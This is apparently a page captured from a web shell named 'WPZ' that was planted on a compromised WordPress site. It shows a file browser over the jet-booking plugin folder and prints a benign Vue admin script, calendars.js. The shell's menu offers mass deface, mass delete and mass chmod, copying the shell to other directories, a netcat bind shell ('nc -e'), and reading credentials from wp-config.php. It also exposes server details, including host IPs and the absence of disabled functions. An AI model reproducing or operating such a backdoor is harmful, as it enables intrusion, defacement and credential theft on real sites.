WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-booking / assets / js / admin / [dxwrx-r--r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/assets/js/admin/calendars.js (4.8 KB)
(function () {

	"use strict";

	Vue.component( 'jet-abaf-calendars-list', {
		template: '#jet-abaf-calendars-list',
		data: function() {
			return {
				itemsList: [],
				totalItems: 0,
				offset: 0,
				perPage: 30,
				currentItem: false,
				currentIndex: false,
				editDialog: false,
				synchDialog: false,
				iCalTemplateDialog: false,
				iCalTemplate: {},
				bookingInstances: window.JetABAFConfig.bookings,
				isLoading: false,
				synchLog: null,
				submitting: false
			};
		},
		mounted: function() {
			this.getItems();
		},
		methods: {
			showEditDialog: function( item, index ) {
				this.editDialog   = true;
				this.currentItem  = JSON.parse( JSON.stringify( item ) );
				this.currentIndex = index;

				if ( ! this.currentItem.import_url ) {
					this.$set( this.currentItem, 'import_url', [] );
				}
			},
			showSynchDialog: function( item ) {
				const self = this;

				self.synchDialog = true;
				self.synchLog    = null;

				wp.apiFetch( {
					method: 'post',
					path: window.JetABAFConfig.api.synch_calendar,
					data: { item: item }
				} ).then( function( response ) {
					self.synchLog = response.success  ? response.result : response.data;
				} ).catch( function( e ) {
					self.synchLog = e.message;
				} );
			},
			showICalTemplateDialog: function (  ) {
				this.iCalTemplateDialog = true;
			},
			addURL: function() {
				this.currentItem.import_url.push( '' );
			},
			removeURL: function ( index ) {
				this.currentItem.import_url.splice( index, 1 );
			},
			handleEdit: function() {
				let self = this;

				self.editDialog = true;

				if ( ! self.currentItem ) {
					return;
				}

				self.submitting = true;

				self.itemsList.splice( self.currentIndex, 1, self.currentItem );

				wp.apiFetch( {
					method: 'post',
					path: window.JetABAFConfig.api.update_calendar,
					data: { item: self.currentItem }
				} ).then( function( response ) {
					if ( ! response.success ) {
						self.$CXNotice.add( {
							message: response.data,
							type: 'error',
							duration: 7000,
						} );
					} else {
						self.$CXNotice.add( {
							message: 'Done!',
							type: 'success',
							duration: 7000,
						} );

						self.getItems();
					}

					self.currentItem = false;
					self.currentIndex = false;
					self.editDialog = false;
					self.submitting = false;
				} ).catch( function( e ) {
					self.$CXNotice.add( {
						message: e.message,
						type: 'error',
						duration: 7000,
					} );

					self.currentItem = false;
					self.currentIndex = false;
					self.editDialog = false;
					self.submitting = false;
				} );

			},
			handleICalTemplate: function () {
				const self = this;

				self.iCalTemplateDialog = true;
				self.submitting = true;

				wp.apiFetch( {
					method: 'post',
					path: window.JetABAFConfig.api.update_ical_template,
					data: { template: { ...self.iCalTemplate } }
				} ).then( function() {
					self.$CXNotice.add( {
						message: 'Done!',
						type: 'success',
						duration: 7000,
					} );

					self.iCalTemplateDialog = false;
					self.submitting = false;
				} ).catch( function( e ) {
					self.$CXNotice.add( {
						message: e.message,
						type: 'error',
						duration: 7000,
					} );

					self.iCalTemplateDialog = false;
					self.submitting = false;
				} );
			},
			addMacros( property, value ) {
				let currentValue = this.iCalTemplate[ property ];

				if ( currentValue ) {
					const control = this.$refs[ property ];

					if ( control ) {
						const start = control.selectionStart;
						const end = control.selectionEnd;

						if ( 0 <= start ) {
							currentValue = currentValue.substring( 0, start ) + value + currentValue.substring( end, currentValue.length );
						} else {
							currentValue = currentValue + ' ' + value;
						}
					} else {
						currentValue = currentValue + ' ' + value;
					}
				} else {
					currentValue = value;
				}

				this.$set( this.iCalTemplate, property, currentValue );
			},
			getItems: function() {
				const self = this;

				self.isLoading = true;

				wp.apiFetch( {
					method: 'get',
					path: window.JetABAFConfig.api.calendars_list,
				} ).then( function( response ) {
					self.isLoading = false;

					if ( response.success ) {
						self.itemsList = response.data.calendars;
						self.iCalTemplate = response.data.ical_template;
					}
				} ).catch( function( e ) {
					self.isLoading = false;

					self.$CXNotice.add( {
						message: e.message,
						type: 'error',
						duration: 7000,
					} );
				} );
			}
		},
	} );

	Vue.component( 'jet-abaf-settings-macros-inserter', {
		template: '#jet-abaf-settings-macros-inserter',
		mixins: [ jetABAFMacrosInserter ],
		directives: { clickOutside: window.JetVueUIClickOutside },
	} );

	new Vue({
		el: '#jet-abaf-ical-page',
		template: '#jet-abaf-calendars',
		data: {
			isSet: window.JetABAFConfig.setup.is_set,
		}
	});

})();
namawaktuukuranownerpermaksi
..
blocks-view/ 2026-07-21 14:16104.48 KB 76129f60960:kundendxwrx-r--r
bookings-list-meta.js 2026-07-21 14:161.4 KB 76129f60960:kunden-xw-x-----
edt
bookings.js 2026-07-21 14:1644.58 KB 76129f60960:kunden-xw-x-----
edt
calendars.js 2026-07-21 14:164.8 KB 76129f60960:kunden-xw-x-----
edt
common.js 2026-07-21 14:16218 B 76129f60960:kunden-xw-x-----
edt
macros-inserter.js 2026-07-21 14:166.61 KB 76129f60960:kunden-xw-x-----
edt
meta-configuration.js 2026-07-21 14:16974 B 76129f60960:kunden-xw-x-----
edt
meta-custom-schedule.js 2026-07-21 14:161.6 KB 76129f60960:kunden-xw-x-----
edt
meta-extras.js 2026-07-21 14:162.09 KB 76129f60960:kunden-xw-x-----
edt
meta-price.js 2026-07-21 14:164.05 KB 76129f60960:kunden-xw-x-----
edt
schedule-manager.js 2026-07-21 14:165.24 KB 76129f60960:kunden-xw-x-----
edt
set-up.js 2026-07-21 14:162.36 KB 76129f60960:kunden-xw-x-----
edt
settings.js 2026-07-21 14:1612.36 KB 76129f60960:kunden-xw-x-----
edt
units-manager.js 2026-07-21 14:162.47 KB 76129f60960:kunden-xw-x-----
edt
vendors.js 2026-07-21 14:16301 B 76129f60960:kunden-xw-x-----
edt
wc-details-builder.js 2026-07-21 14:161.76 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/assets/js/admin
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK